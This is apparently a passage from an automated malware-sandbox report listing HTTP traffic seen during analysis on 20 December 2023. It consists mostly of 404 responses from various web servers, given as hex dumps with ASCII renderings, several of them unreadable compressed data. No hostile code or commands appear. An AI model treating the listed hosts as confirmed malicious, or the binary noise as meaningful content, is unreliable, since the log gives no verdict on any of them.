20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 33 35 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 87 14 d0 59 9c fe 09 b7 3a e5 3f 57 5b 38 be 65 0b 69 c3 57 3b 0f 7c c3 e2 90 a9 d6 71 8a 63 32 5d 0d 0a 30 0d 0a 0d 0a Data Ascii: 35Uys/~(`:Y:?W[8eiW;\|qc2]0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Dec 2023 02:12:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:19 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-215.ec2.internalX-Request-Id: f8eff489-4521-42f9-8261-12609f7a3c2dData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:19 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-181.ec2.internalX-Request-Id: f9afd5c5-2eb0-428d-87cf-726fc0880b5cData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-137.ec2.internalX-Request-Id: 0ca978b1-df77-4d0f-9f45-13b50a8c00fdData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-234.ec2.internalX-Request-Id: 0ef2397c-4d39-441a-b377-762078f33ae1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=knXMp7UW5HOy%2B9gD6locYL67pbdCfxTgu9ahzJ6E%2FGJU0Fc9TkrZuooPN8OyRqXLiL0DZ%2BNwXaGrbL7Wt8RA%2FYqghetXHi1e%2BAbRBJ8p3NiJtT26ULosLMctxMc%2B%2BLhOOOw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845d8fdd372593-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:20 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IIS/10.0X-Powered-By: PHP/7.4.2Link: <https://www.tgcan.co.uk/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Length: 41957Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 61 76 61 64 61 2d 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 77 69 64 65 20 61 76 61 64 61 2d 68 74 6d 6c 2d 68 65 61 64 65 72 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:20 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:20 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1Mzh1jubMKeM98xX%2BeU%2BFNqbmQDJ%2BnPk0siA8xYnSx9M6eHG%2FCOn%2FtpJZbV8dEU5W4s8ZMQnOuRPGBg9lTM6I6pK%2BtqO8GxkK84k%2F3TYpk1eGx8kiwr2QpOg7JCeb%2BtMoeg%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845d942ca82593-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:14 GMTConnection: closeContent-Length: 53062Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 65 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 34 30 34 3b 68 74 74 70 3a 2f 2f 63 6f 70 79 73 65 74 2e 63 6f 6d 3a 38 30 38 30 2f 69 6e 64 65 78 2e 69 6d 6c 3f 50 41 54 48 5f 31 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 46 55 4c 4c 5f 50 41 54 48 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 3a 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 70 79 73 65 74 2e 63 6f 6d 2f 22 20 3e 0d 0a 20 20 0d 0a 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 34 2e 33 2e 30 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 